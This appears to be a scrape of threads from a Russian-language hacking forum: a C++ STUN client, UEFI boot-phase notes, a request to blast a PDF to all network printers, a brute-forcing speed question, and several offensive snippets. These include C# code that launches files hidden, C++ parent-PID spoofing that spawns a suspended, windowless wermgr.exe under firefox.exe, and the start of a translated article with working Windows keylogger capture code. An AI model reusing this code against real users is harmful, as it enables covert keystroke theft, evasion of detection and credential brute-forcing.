SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == INVALID_SOCKET) {
    REPORT_ERROR("Failed to create socket");
    WSACleanup();
    return;
}

Затем мы выполняем запрос к STUN-серверу (в данном случае, "stun.l.google.com") и ожидаем ответ:

C++:Copy to clipboard

StunRequest("stun.l.google.com", sock);

char buffer[1024];
while (true) {
    int bytesReceived = recv(sock, buffer, sizeof(buffer), 0);
    if (bytesReceived == SOCKET_ERROR) {
        REPORT_ERROR("Error receiving data");
    }

    if (bytesReceived >= 6) {
        std::string s;
        xorAddr(reinterpret_cast<uint8_t*>(buffer + bytesReceived - 6), s);
        std::cout << s << std::endl;
    }
}

Заключительные шаги включают закрытие сокета и очистку Winsock:

C++:Copy to clipboard

closesocket(sock);
WSACleanup();

Весь код

C++:Copy to clipboard

#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <string>

#pragma comment(lib, "ws2_32.lib")

#define REPORT_ERROR(msg) \
    do { \
        std::cerr << msg << std::endl; \
        return; \
    } while (0)

#define REPORT_ERROR_NULL(msg) \
    do { \
        std::cerr << msg << std::endl; \
        return nullptr; \
    } while (0)

#define REPORT_ERROR_EMPTY_STRING(msg) \
    do { \
        std::cerr << msg << std::endl; \
        return ""; \
    } while (0)

#define REPORT_ERROR_NEGATIVE_INT(msg) \
    do { \
        std::cerr << msg << std::endl; \
        return -1; \
    } while (0)

struct stunPack {
    uint16_t MessageType;
    uint16_t MessageLength;
    uint32_t MessageCookie;
    uint8_t MessageTransactionID[12];
};

void BEbytes(void* buffer, uint16_t value) {
    *(uint16_t*)buffer = htons(value);
}

void BEbytes(void* buffer, uint32_t value) {
    *(uint32_t*)buffer = htonl(value);
}

void StunRequest(const std::string& server, SOCKET sock) {
    addrinfo hints, * result = nullptr;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_INET;
    hints.ai_socktype = SOCK_DGRAM;

    if (getaddrinfo(server.c_str(), "19302", &hints, &result) != 0) {
        REPORT_ERROR("Failed to resolve server address");
    }

    stunPack sp;
    sp.MessageType = htons(1);
    sp.MessageLength = htons(0);
    sp.MessageCookie = htonl(0x2112A442);
    uint8_t transactionID[12] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 };
    memcpy(sp.MessageTransactionID, transactionID, sizeof(transactionID));

    if (sendto(sock, (const char*)&sp, sizeof(sp), 0, result->ai_addr, (int)result->ai_addrlen) == SOCKET_ERROR) {
        REPORT_ERROR("Failed to send data");
    }

    freeaddrinfo(result);
}
void xorAddr(const uint8_t* b, std::string& result) {
    uint16_t port = ntohs(*(uint16_t*)b);
    port ^= 0x2112;

    struct in_addr addr;
    addr.S_un.S_un_b.s_b1 = b[2] ^ 0x21;
    addr.S_un.S_un_b.s_b2 = b[3] ^ 0x12;
    addr.S_un.S_un_b.s_b3 = b[4] ^ 0xa4;
    addr.S_un.S_un_b.s_b4 = b[5] ^ 0x42;

    char ipAddress[INET_ADDRSTRLEN];
    if (inet_ntop(AF_INET, &addr, ipAddress, INET_ADDRSTRLEN) == nullptr) {
        REPORT_ERROR("Failed to convert IP address");
    }

    result = ipAddress + std::string(":") + std::to_string(port);
}

void StunTest() {
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        REPORT_ERROR("Failed to initialize Winsock");
    }

    SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock == INVALID_SOCKET) {
        REPORT_ERROR("Failed to create socket");
        WSACleanup();
        return;
    }

    StunRequest("stun.l.google.com", sock);
    //StunRequest("stun1.l.google.com", sock);
    //StunRequest("stun2.l.google.com", sock);
    //StunRequest("stun3.l.google.com", sock);

    char buffer[1024];
    while (true) {
        int bytesReceived = recv(sock, buffer, sizeof(buffer), 0);
        if (bytesReceived == SOCKET_ERROR) {
            REPORT_ERROR("Error receiving data");
        }

        if (bytesReceived >= 6) {
            std::string s;
            xorAddr(reinterpret_cast<uint8_t*>(buffer + bytesReceived - 6), s);
            std::cout << s << std::endl;
        }
    }

    closesocket(sock);
    WSACleanup();
}

int main() {
    StunTest();
    return 0;
}

Завершение
Этот пример кода демонстрирует, как использовать Winsock для выполнения STUN- теста и извлечения IP-адреса и порта. Вы можете адаптировать этот код для своих нужд и использовать его в своих проектах, связанных с сетевой коммуникацией.

Поиск всех принтеров в сети и отправка на них пдфки
ID: 6765d804b4103b69df375922
Thread ID: 59936
Created: 2021-12-10T21:15:48+0000
Last Post: 2021-12-29T17:45:48+0000
Author: LPSF
Replies: 2 Views: 480

Всем привет!
Нужна софтина для винды, которая отправит на все сетевые принтеры целевой документ.
Может и батником можно обойтись - не важно. Главное автоматизировать процесс.
Поможете? Отблагодарю монеро\лайтом

UEFI con Part 1.1
ID: 6765d804b4103b69df375851
Thread ID: 77518
Created: 2022-12-06T15:40:06+0000
Last Post: 2022-12-07T04:07:06+0000
Author: RtlGBI
Replies: 2 Views: 479

the "UEFI" describes a programmatic interface to plstforn the platform includes the motherboard, some chipset & CPU and other components dosen't metter now the UEFI will be allow pre-os pre-oprating system and pre-os agents are os loaders & diagnostics system needs for application to execute and interoperate, including uefi drv and applications. UEFI
**
[+] Objects managed by UEFI**

1-manage system state
2-including I/O devices
3- memory
4- events

Click to expand...

[+] UEFI System Table(UST)

1 - Data structure with data information tables
2 - functions to interface the systems

Click to expand...

[+] Handle database and protocols : which callable interfaces are registered

[+] UEFI Images : the executable content format by which code is deployed

[+] Events : which software can be signaled in response to s0me other activity

[+] Device paths - a data structure that describes the hardware location of an entity such as

Click to expand...

1-bus
2-spindle
3-partition
4- and file name of a UEFI image on a formatted disk.

Click to expand...

Objects Managed by UEFI
//C for edk2
Objects of several differing types are managed through the services provided by UEFI. The following figure shows the various object types. The most important objects for UEFI drivers are the following:

UEFI system table

memory
handle
images
events

Some UEFI drivers may need to access environment variables, but most do not.
Rarely do UEFI drivers require the use of a monotonic counter, watchdog timer or realtime clock.
The UEFI system table provides access to all services provided by UEFI. The system table also provides access to all the additional data structures that describe the configuration of the platform. Each of these object types, and the services that provide access to them, are introduced in the following sections.

Click to expand...

image1.jpg

UEFI System Table
[+pointer+] most important data structure why ? becuase passed into each driver and application as part of its entry-point from this data structure can gain access to system conf information &

rich collection of uefi service include
UEFI BOOT SERVICE
UEFI RUNTIME SERVICE
PROTOCOL SERVICES

Click to expand...

the UEFI BOOT SERVICE and UEFI RUNTIME SERVICE are accessed through the uefi boot service table and the UEFI Runtime Services Table

Both of these tables are data fields in the UEFI System Table

Protocol services are groups of related functions and data fields that are named by (GUID) protocol services are used to provide software abstractions for devices such as consoles, disks, and networks, but they can be used to extend the number of generic services that are available in the platform Specification defines over 30 different protocols, and various implementations
of UEFI firmware and UEFI drivers may produce additional protocols to
extend the functionality of a platform.

Handle Database
handle database is composed of objects called handles and protocols
handles are collection 1 or 1+ protocols & protocols are data structure named by GUID

1 - data structure protocol can be empty
2 - can contain data fields
3 - can contain services

Click to expand...

when UEFI initialization 1-UEFI Drivers 2- system firmware 3- UEFI applications create handles and attach 1 or 1+ protocols to the handle Information in the handle database is global and can be accessed by
any executable UEFI image
The handle database is the central repository for the objects that are maintained by UEFI-based firmware. The handle database is a list of UEFI
handles, and each UEFI handle is identified by a unique handle number that is maintained by the system firmware. A handle number provides a database "key” to an entry in the handle database. Each entry in the handle database
is a collection of one or more protocols. The types of protocols, named by a GUID, that are attached to a UEFI handle determine the handle type. A UEFI
handle may represent components such as the following:

Executable images such as UEFI drivers and UEFI applications
Devices such as network controllers and hard drive partitions
UEFI services such as UEFI Decompression and the EBC Virtual
Machine

Click to expand...

Screenshot 2022-12-06 072215.png
The image on the top is the different types of handles that can be found in the handles database and the relationships between the different types of handles All handles reside in the same handle database and the types of protocols that
are associated with each handle differentiate the handle type Like file system handles in an operating system context handles are unique for the session, but the values can be arbitrary. Also, like the handle returned from an fopen function in a C library, the value does not necessarily serve a useful purpose in a different process or during a subsequent restart in the same process. The handle
is just a transitory value to manage state.

_**credit : thx so match for my old notes and edk2

i apologize if I made a mistake in a specific point and please correct it and add extra information if you have it because I did not put all the information for several reasons**_

Ищу кодера С / С++ для драйвера | Coder job
ID: 6765d804b4103b69df37578a
Thread ID: 98801
Created: 2023-09-25T15:11:19+0000
Last Post: 2023-09-28T18:01:54+0000
Author: safaric
Replies: 1 Views: 478

ТОЛЬКО ДЛЯ ТЕХ. Кто имел опыт работы в написании драйверов. Дам тест Задание с оплатой (написать драйвер для Windows). + дальнейшее сотрудничество.
за деталями в лс, дам контакт тг или токс

Циклы C++
ID: 6765d804b4103b69df375908
Thread ID: 61865
Created: 2022-01-23T18:22:36+0000
Last Post: 2022-02-08T17:26:42+0000
Author: Arduino
Replies: 11 Views: 478

Начал изучать С++, переменные норм пошли, а вот циклы уже сложней.
Посоветуйте литературу, пожалуйста.

UEFI concepts Part 1
ID: 6765d804b4103b69df375852
Thread ID: 77475
Created: 2022-12-06T09:48:07+0000
Last Post: 2022-12-06T14:08:45+0000
Author: RtlGBI
Replies: 2 Views: 477

1 - SEC (Security) phase: Handles CPU initialization to create stack cpu cache
"When it reaches the (1)"SEC" stage, it only works to initialize the internal resources of the CPU for several reasons that I do not want to mention now."
2 - CAR (Cache As RAM) : When use it as a memory called CAR.
3 - PEI(Pre-EFI initialization) : Finishes CPU initialization. And a way to load and call configuration actions Processor (2) give control to dxe
4 - EFI_SEC_PEI_HAND_OFF : Contains information about "PEI" such as size, memory location, stack location and location BFV

C++:Copy to clipboard

typedef struct _EFI_SEC_PEI_HAND_OFF{
  UINT16  DataSize; // size of data structure
  VOID    *BootFirmwareVolumeBase; // points to the first byte of the boot firmware volume where the pei
  UINTN   BootFirmwareVolumeSize;// size of boot firmware in bytes
  VOID    *TemporaryRamBase;// points to the first byte of temporary RAM
  UINTN   TemporaryRamSize; // size temporary RAM
  VOID    *PeiTemporaryRamBase; // points to the first byte of temporary RAM usable by PEI
  UINTN   PeiTemporaryRamSize; //size temporary RAM available to PEI Foundation
  VOID    *StackBase; // point to first byte of the stack
  UINTN   StackSize;// size of stack base
}EFI_SEC_PEI_HAND_OFF;

5 - EFI_FIRMWARE_VOLUME_HEADER* : points to data structure have a information about PEI() (size and location )

C++:Copy to clipboard

[LIST=1]
[*]typedef struct {
[*]  ///
[*]  /// The first 16 bytes are reserved to allow for the reset vector of
[*]  /// processors whose reset vector is at address 0.
[*]  ///
[*]  UINT8                     ZeroVector[16];
[*]  ///
[*]  /// Declares the file system with which the firmware volume is formatted.
[*]  ///
[*]  EFI_GUID                  FileSystemGuid;
[*]  ///
[*]  /// Length in bytes of the complete firmware volume, including the header.
[*]  ///
[*]  UINT64                    FvLength;
[*]  ///
[*]  /// Set to EFI_FVH_SIGNATURE
[*]  ///
[*]  UINT32                    Signature;
[*]  ///
[*]  /// Declares capabilities and power-on defaults for the firmware volume.
[*]  ///
[*]  EFI_FVB_ATTRIBUTES_2      Attributes;
[*]  ///
[*]  /// Length in bytes of the complete firmware volume header.
[*]  ///
[*]  UINT16                    HeaderLength;
[*]  ///
[*]  /// A 16-bit checksum of the firmware volume header. A valid header sums to zero.
[*]  ///
[*]  UINT16                    Checksum;
[*]  ///
[*]  /// Offset, relative to the start of the header, of the extended header
[*]  /// (EFI_FIRMWARE_VOLUME_EXT_HEADER) or zero if there is no extended header.
[*]  ///
[*]  UINT16                    ExtHeaderOffset;
[*]  ///
[*]  /// This field must always be set to zero.
[*]  ///
[*]  UINT8                     Reserved[1];
[*]  ///
[*]  /// Set to 2. Future versions of this specification may define new header fields and will
[*]  /// increment the Revision field accordingly.
[*]  ///
[*]  UINT8                     Revision;
[*]  ///
[*]  /// An array of run-length encoded FvBlockMapEntry structures. The array is
[*]  /// terminated with an entry of {0,0}.
[*]  ///
[*]  EFI_FV_BLOCK_MAP_ENTRY    BlockMap[1];
[*]} EFI_FIRMWARE_VOLUME_HEADER;
[/LIST]

after entering the "SEC Phase" area,first use "CAR" is used to initialize the stack, "IDT" and "EFI_SEC" and transfer control to "PEI" and pass "EFI_SEC_PEI_HAND_OFF" to "PEI"
1 - SEC
Initialize the temporary storage area
Receive and process system startup and restart

2 - PEI
the resources in the PEI Stage are still limited and the memory is not initized until the later stage of PEI Its main task is to prepare an environment for the implementation of "DXE" and to form a list of "HOB" with the information that must be passed to "DXE" and now the control of "DXE"

PEI Kernel : Responsible for basic services and operations in "PEI"
PEIM (PEIM)odule : The main function is to find out all PEIM The initialization of the system in the PEI phase is mainly completed by PEIM

entry function PEIM :

C++:Copy to clipboard

typedef EFI_STATUS (EFIAPI *EFI_PEIM_ENTRY_POINT2)(   IN EFI_PEI_FILE_HANDLE             FileHandle,   IN CONST EFI_PEI_SERVICES          **PeiServices   );

Through PeiServices PEIM can use the systemService provided by the PEI and access PEI Kernel, Communication between PEIM is through PPI

3. DXE[Driver Execution Environment]
performs most of the system initialization work When entering this stage, the memory can be fully used, so there are many complications at this stage

Boot process of UEFI system

PEI, functionally, DXE can be divided into the following 2 parts

DXE Kernel : Responsible for DXE some services and execution processes
DXE dispatcher : Responsible for scheduling and executing DXE drivers and initializing system devices.

4 - BDS (Boot Device Selection)
execute the boot strategy
Loads and executes startup items according to system settings.
Policies are configured through global variables "NVRAM ". this variable can be read via GetVariable() of runtime service and set via "SetVariable()"

C++:Copy to clipboard

SystemTable->RuntimeServices->GetVariable(TEXT, guid, attr, data_size, data);
SystemTable->RuntimeServices->SetVariable(TEXT,guid,ACCESS,size,data);

5 - TSL (Transient System Load)
first stage of os loader,in the stage OS Loader run as UEFI Application, and system resources are still controlled by the UEFI kernel when the ExitBootServices() when service is called enters the run-time phase
It prepares the execution environment for the operating system, which is a temporary system, but its functions are very powerful By default it does not enter UEFI Shell enters when an error occurs
6 - RT(Run-Time)
When the system enters "RT", the control is transferred from "UEFI Kernel" to "OS Loader"
7 - AL(after life)
When the operating system invokes "ResetSystem()" it enters a phase state AL

C++:Copy to clipboard

SystemTable->RuntimeServices->ResetSystem(EfiResetShutdown, EFI_SUCCESS, NULL, NULL);
return EFI_SUCCESS;
запуск файл(а)ов через ProcessStartInfo
ID: 6765d804b4103b69df37599d
Thread ID: 52737
Created: 2021-06-10T11:34:32+0000
Last Post: 2021-06-10T11:34:32+0000
Author: EmeliRouse
Replies: 0 Views: 476

Hidden content for authorized users.

C#:Copy to clipboard

public static bool RunFile(string filename)
{
    if (!string.IsNullOrWhiteSpace(filename)) // Проверка на пустую строку
    {
         try
         {
            var PwsHide = ProcessWindowStyle.Hidden; // Задаём параметры скрытый запуск ( по желанию можно убрать )
            var startInfo = new ProcessStartInfo
            {
                FileName = filename, // Имя запускаемого файла через аргументы
                CreateNoWindow = false, // Не создаём окно
                WindowStyle = PwsHide // Применяем параметры для сокрытия файла
                // Аргументы можно так же передавать тут.
            };
            using (Process info = Process.Start(startInfo)) { info.Refresh(); } // Запускаем файл.
            return true;  // В случае успеха возвращаем true
         }
         catch (Exception) { return false; } // В случае ошибки возвращаем false
    }
    return true;
}

дальше просто запускаете RunFile("Путь к вашему файлу");

Вопрос
ID: 6765d804b4103b69df375856
Thread ID: 77286
Created: 2022-12-03T16:19:58+0000
Last Post: 2022-12-03T17:20:06+0000
Author: kingessopper
Replies: 1 Views: 475

Как сделать что при инжекте dll открывается exe? Без сурс кода

Подскажите решение.
ID: 6765d804b4103b69df375842
Thread ID: 78464
Created: 2022-12-20T12:18:41+0000
Last Post: 2022-12-20T15:12:56+0000
Author: ZVH
Replies: 9 Views: 474

Такая вот каша получается с брутом.
на c# при использовании TDS протокола и TCPclient не едем больше чем 500-800 потоков, далее чем больше потоков тем медленнее работаем)
на c++ при использовании драйвера SQL Server и SQLDriverConnect через пару минут перестаёт подключаться к любым таргетам используя данный драйвер, помогает только перезагрузка
дополню ссылкой на описание проблемы.

![unix.stackexchange.com](/proxy.php?image=https%3A%2F%2Fcdn.sstatic.net%2FSites%2Funix%2FImg%2Fapple- touch- icon%402.png%3Fv%3D32fb07f7ce26&hash=21b390d49a0befd056c7c5876b2ffb3e&return_error=1)

[ Does SQLDriverConnect (from unix-odbc) cache the DSN data? If so, how

can I clear/purge it? ](https://unix.stackexchange.com/questions/329000/does- sqldriverconnect-from-unix-odbc-cache-the-dsn-data-if-so-how-can-i-clea)

While using the UNIX-ODBC libraries from unixodbc site, I'm facing a problem with the SQLDriverConnect api. If I try to connect to my database twice in a row, first with incorrect DSN data (Data So...

unix.stackexchange.com unix.stackexchange.com

Подскажите обфскатор
ID: 6765d804b4103b69df375848
Thread ID: 78192
Created: 2022-12-15T16:50:53+0000
Last Post: 2022-12-15T16:50:53+0000
Author: MuscleCard
Replies: 0 Views: 472

Всем привет! подскажите качественный обфускатор для JS
платный/приватный

C++ pidd spoofing
ID: 6765d804b4103b69df37577b
Thread ID: 95950
Created: 2023-08-18T06:25:18+0000
Last Post: 2023-11-02T08:28:44+0000
Author: jaber69
Replies: 4 Views: 472

C++:Copy to clipboard

#include <windows.h>
#include <iostream>
#include "sys.h"
#include <TlHelp32.h>

STARTUPINFOEXA info;
    PROCESS_INFORMATION processinfo;
    SIZE_T cbAttributeListSize = 0;
    PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
    HANDLE hParrentProcess = NULL;
    DWORD dwPid = 0;

DWORD GetPidByName(const wchar_t* pName) {
    PROCESSENTRY32W pEntry;
    HANDLE snapshot;

    pEntry.dwSize = sizeof(PROCESSENTRY32);
    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32FirstW(snapshot, &pEntry) == TRUE) {
        while (Process32NextW(snapshot, &pEntry) == TRUE) {
            if (_wcsicmp(pEntry.szExeFile, pName) == 0) {
                CloseHandle(snapshot);
                return pEntry.th32ProcessID;
            }
        }
    }
    CloseHandle(snapshot);
    return 0;
}



int main(void) {
    
    ZeroMemory(&info, sizeof(STARTUPINFOEXA));


    

    dwPid = GetPidByName(L"firefox.exe");
    if (dwPid == 0);
    dwPid = GetCurrentProcessId();

    InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
    pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
    InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);

    hParrentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParrentProcess, sizeof(HANDLE), NULL, NULL);
    
    info.lpAttributeList = pAttributeList;

    CreateProcessA(NULL, (LPSTR)"wermgr.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW | DETACHED_PROCESS | EXTENDED_STARTUPINFO_PRESENT, NULL,NULL, &info.StartupInfo, &processinfo);
Написание достойного кейлоггера win32 [1/3]
ID: 6765d804b4103b69df375730
Thread ID: 110384
Created: 2024-03-14T08:14:59+0000
Last Post: 2024-03-14T09:07:44+0000
Author: yashechka
Prefix: Статья
Replies: 2 Views: 472

В этой серии статей мы рассказываем о тонкостях создания кейлоггера для Windows, способного поддерживать все раскладки клавиатуры и правильно реконструировать символы Юникода независимо от языка.

В первой части, после краткого введения, знакомящего с концепциями кодов сканирования, виртуальных клавиш , символов и глифов, мы описываем три различных способа захвата нажатий клавиш (GetKeyState, SetWindowsHookEx, GetRawInputData ) и различия между этими методами.

Во второй части мы подробно расскажем, как Windows хранит информацию о раскладках клавиатуры в файле kbd*.dll и как ее анализировать.

В третьей и последней части мы проходим процесс использования извлеченной информации для преобразования скан-кодов в символы и все сложные случаи, представленные различными раскладками, такими как лигатуры, мертвые клавиши, дополнительные состояния сдвига и SGCAPS.

Наконец, мы представляем нашу методологию для проверки и подтверждения правильности нашей реконструкции путем написания инструмента тестирования, который может автоматизировать внедрение скан-кодов и получать ссылочный текст, созданный Windows, который мы сравниваем с нашим восстановленным текстом.

Введение

Одной из обязанностей команды разработчиков Synacktiv является создание и поддержка инструментов наступательной безопасности, используемых другими отделами во время их работы. В дополнение к нашим основным проектам, таким как KRAQOZORUS, OURSIN, DISCONET и LEAKOZORUS, мы также стараемся выполнять более мелкие «запросы на исследования и разработки», которые могут быть полезны во время конкретных миссий.

В сегодняшней статье мы сосредоточимся на таком запросе: создании кейлоггера, предназначенного для Windows, который способен правильно реконструировать набираемые символы, независимо от того, какая раскладка клавиатуры и язык используются в целевой системе.

Что, как оказывается, не так просто, как вы думаете.

Ключевые понятия и терминология

Прежде чем мы начнем, важно представить несколько понятий, таких как коды сканирования, виртуальные клавиши, символы, глифы и раскладки.

СКАН КОДЫ

Вначале были коды сканирования, они представляют собой (одно- или многобайтовые) значения, создаваемые прошивкой клавиатуры и не зависящие от раскладки клавиатуры. Вот несколько примеров значений для стандартной клавиатуры ANSI US:

1710403929528.png

Многобайтовые коды сканирования всегда начинаются с 0xE0, 0xE1 или 0xE2 и иногда называются «расширенными» кодами сканирования. В предыдущем примере вы можете видеть, что они могут служить способом отличить левую клавишу управления от правой клавиши управления.

Верхний бит скан-кода указывает, нажата ли клавиша (0) или отпущена (1). Когда клавиша нажата, мы называем ее make code а когда она отпускается, она называется break code. Допустим, мы набрали «ctrl+r», и будут получены следующие коды сканирования:

1710403944404.png

Более подробную информацию о скан-кодах можно найти здесь (https://www.win.tue.nl/~aeb/linux/kbd/scancodes-10.html).

РАСКЛАДКИ

Windows позволяет вам настроить язык системы и один или несколько языков ввода. Настройки языка ввода влияют на языковые стандарты, форматы даты и времени и, что более важно для наших целей, на раскладки клавиатуры. Обратите внимание, что Windows может предлагать несколько раскладок для данного языка. Давайте посмотрим список раскладок на французском языке :

Французский (легаси, AZERTY)
Французский (стандартный, AZERTY)
Французский (стандартный, BÉPO, сторонний)
а также французский для других стран, таких как Бельгия, Канада, Швейцария и т. д.

Раскладки клавиатуры содержат информацию о том, как преобразовать коды сканирования в виртуальные клавиши, а затем в символы, которые можно отображать. Мы опишем их внутреннюю структуру более подробно позже в этой статье. Вы можете изучить все раскладки клавиатуры, поддерживаемые Windows, здесь (https://www.kbdlayout.info/).

ВИРТУАЛЬНЫЕ КЛАВИШИ

Коды виртуальных клавиш используются Windows для идентификации клавиш клавиатуры независимо от языка. Существует 256 кодов виртуальных клавиш, таблицу можно найти здесь (<https://learn.microsoft.com/en- us/windows/win32/inputdev/virtual-key-codes>). Допустим, мы нажимаем клавишу «A» на клавиатуре французского стандарта ISO 105, сначала с раскладкой fr-FR (AZERTY), затем с раскладкой en-US (QWERTY). Мы получим тот же код сканирования, но в результате будет другой код виртуального ключа.

1710403965543.png

СИМВОЛЫ И ГЛИФЫ

В контексте этой статьи мы называем символы Юникода в кодировке UTF-16-LE. Глифы представляют собой визуальное представление одного или нескольких символов Юникода и зависят от шрифта, используемого для отображения. Существует интересный случай, когда несколько символов Юникода могут быть представлены одним глифом, это называется лигатурой.

Теперь, когда мы разобрались со всем этим, давайте посмотрим, как мы можем записывать нажатия клавиш.

Запись нажатий клавиш

Хотя существует немало способов записи нажатий клавиш, в этой статье мы сосредоточимся только на хорошо известных методах пользовательской среды. Во всех следующих фрагментах кода мы вызываем одну и ту же функцию, process_kbd_event которую мы определяем следующим образом:

1710403986943.png

Здесь мы будем выполнять всю обработку, следующую за захватом нажатий клавиш, и выполнять реконструкцию потоков символов.

GETKEYSTATE

Первый метод, который мы опишем, использует функцию GetKeyState, предоставляемую user32.dll и определенную в winuser.h. Это позволяет получить текущее состояние для указанного входного виртуального ключа.

1710404000166.png

Эта функция работает на более высоком уровне (виртуальные клавиши), чем два следующих метода, которые работают на уровне скан-кода. Однако мы можем использовать эту функцию MapVirtualKeyA для получения кодов сканирования, вызвавших нажатие или отпускание виртуальной клавиши. Чтобы записать нажатия клавиш с помощью этой функции, вам необходимо вызвать ее несколько раз для всех 256 значений виртуальных клавиш, сохранить это состояние в памяти, а затем снова вызвать его немного позже и сравнить с текущим статусом. Всякий раз, когда состояние меняется, это означает, что клавиша была нажата или отпущена. Вы также можете использовать GetKeyboardState или GetAsyncKeyStateдля достижения тех же результатов. Вот рабочий фрагмент примера для захвата нажатия клавиш GetKeyState:

C:Copy to clipboard

// we start by defining a function to retrieve all virtual key states
void get_kb_state(short kbs[256])
{
    for(int i=0; i<256; i++)
        kbs[i] = GetKeyState(i);
}

int main()
{
    short kbs_last[256] = {};
    get_kb_state(kbs_last);

    while(1)
    {
        short kbs[256] = {};
        get_kb_state(kbs);

        for(int i=0; i<256; i++)
            if(kbs[i] != kbs_last[i])
            {
                // the virtual key with value "i" was toggled
                // get a "virtual scan code" for this virtual key
                int vsc = MapVirtualKeyA(i, MAPVK_VK_TO_VSC_EX);
                int e0 = ((vsc >> 8) & 0xff) == 0xe0;   // e0 ?
                int e1 = ((vsc >> 8) & 0xff) == 0xe1;   // e1 ?
                int sc = vsc & 0xff;                    // mask eventual scan code flags
                int up = (kbs[i] & 0xc0000000) == 0;    // check top bits to know if a key was pressed or released

                process_kbd_event(sc, e0, e1, up, i);
            }

        memcpy(kbs_last, kbs, sizeof(kbs_last));
        Sleep(5);
    }
}

Примечание: здесь есть побочный эффект работы с виртуальными клавишами вместо кодов сканирования, который требует дополнительного кода: различие между левыми/правыми/недифференцированными клавишами-модификаторами, такими как CONTROL, SHIFT и ALT. Для каждого из них в Windows есть три виртуальные клавиши: VK_CONTROL, которая запускается как левой (VK_LCONTROL), так и правой (VK_RCONTROL) клавишами управления. То же самое относится и к VK_MENU (клавиша Alt) и VK_SHIFT (клавиша Shift).

Примечание. Чтобы не нагружать слишком много процессора, мы вставляем спящий режим на 5 миллисекунд. Это значение можно увеличить или уменьшить по желанию, но имейте в виду, что если клавиша будет нажата и отпущена за время, меньшее, чем интервал опроса, программа пропустит событие!

Таким образом, используя пример кода захвата, нажатие клавиши Control (или Alt или Shift) запускает две клавиши process_kbd_event: одну для общей виртуальной клавиши VK_CONTROL и одну для «ручной» версии. Поэтому вы, вероятно, захотите отфильтровать общие виртуальные ключи и обрабатывать только определенные левые/правые версии.

SetWindowsHookEx

Другой метод, который можно использовать для получения нажатий клавиш, — это использование «глобального перехватчика Windows». Существует множество типов перехватчиков, которые вы можете использовать с SetWindowsHookEx, но мы сосредоточимся только на WH_KEYBOARD_LL. Упомянем еще один, который не дает столько информации о нажатиях клавиш: WH_KEYBOARD. Вот прототип функции:

1710404028537.png

Кроме того, перехватчики Windows могут работать в двух режимах: «глобальном» и «потоковом». При работе с перехватчиком на основе потока обратный вызов для обработки события должен быть упакован как dll, который будет внедрен в перехваченные процессы, чего мы предпочитаем избегать.

Перехватчики низкого уровня с суффиксом «_LL» могут работать только в глобальном режиме и не имеют такого ограничения. Это означает, что вы можете передавать значения NULL для hmod и dwThreadId.

Чтобы получать события клавиатуры низкого уровня, вам необходимо выполнить обратный вызов, а затем обработать сообщения о событиях окна. Вот рабочий пример получения нажатий клавиш с помощью этого метода:

C:Copy to clipboard

// the callback receiving SetWindowsHookEx WH_KEYBOARD_LL events
LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wparm, LPARAM lparm)
{
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lparm;
    process_kbd_event(p->scanCode,
        p->flags & LLKHF_EXTENDED,
        0,
        p->flags & LLKHF_UP,
        p->vkCode
    );
    return CallNextHookEx(NULL, code, wparm, lparm);
}

int main()
{
    // register the hook
    HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
    // pump windows events
    MSG msg;
    while(GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    UnhookWindowsHookEx(hhkLowLevelKybd);
    return 0;
}

GETINPUTDATA

Последний метод, который мы опишем в этой статье, использует API прямого ввода для получения событий при нажатии клавиш. Этот метод требует немного больше работы для настройки:

- сначала вам нужно зарегистрировать собственный класс окна RegisterClassExA,
- затем вы используете CreateWindowExA для создания экземпляра окна, которое будет использоваться для обработки входных событий,
- теперь вы можете вызвать RegisterRawInputDevices, чтобы указать общую (0x01) клавиатуру (0x06), указать флаг RIDEV_INPUTSINK и, наконец, целевое окно, которое будет получать события,
- тогда вам нужен обратный вызов оконной процедуры, который обрабатывает WM_INPUT события,
- наконец, вы можете запустить цикл обработки сообщений, использующий GetMessage, TranslateMessage и DispatchMessage и начать получать события клавиатуры.

Собранный пример кода выглядит следующим образом:

C:Copy to clipboard

// to receive events for the rawkeyboard data
LRESULT CALLBACK wndproc(HWND window, UINT message, WPARAM wparam, LPARAM lparam)
{
    if(message != WM_INPUT)
        return DefWindowProc(window, message, wparam, lparam);

    char rid_buf[64];
    UINT rid_size = sizeof(rid_buf);

    if(GetRawInputData((HRAWINPUT)lparam, RID_INPUT, rid_buf, &rid_size, sizeof(RAWINPUTHEADER)))
    {
        RAWINPUT * raw = (RAWINPUT*)rid_buf;
        if(raw->header.dwType == RIM_TYPEKEYBOARD)
        {
            RAWKEYBOARD * rk = &raw->data.keyboard;
            process_kbd_event(rk->MakeCode,
                rk->Flags & RI_KEY_E0,
                rk->Flags & RI_KEY_E1,
                rk->Flags & RI_KEY_BREAK,
                rk->VKey
            );
        }
    }
    return DefWindowProc(window, message, wparam, lparam);
}

int main(void)
{
    //define a window class which is required to receive RAWINPUT events
    WNDCLASSEX wc;
    ZeroMemory(&wc, sizeof(WNDCLASSEX));
    wc.cbSize        = sizeof(WNDCLASSEX);
    wc.lpfnWndProc   = wndproc;
    wc.hInstance     = GetModuleHandle(NULL);
    wc.lpszClassName = "rawkbd_wndclass";

    // register class
    if(!RegisterClassExA(&wc))
        return -1;

    // create window
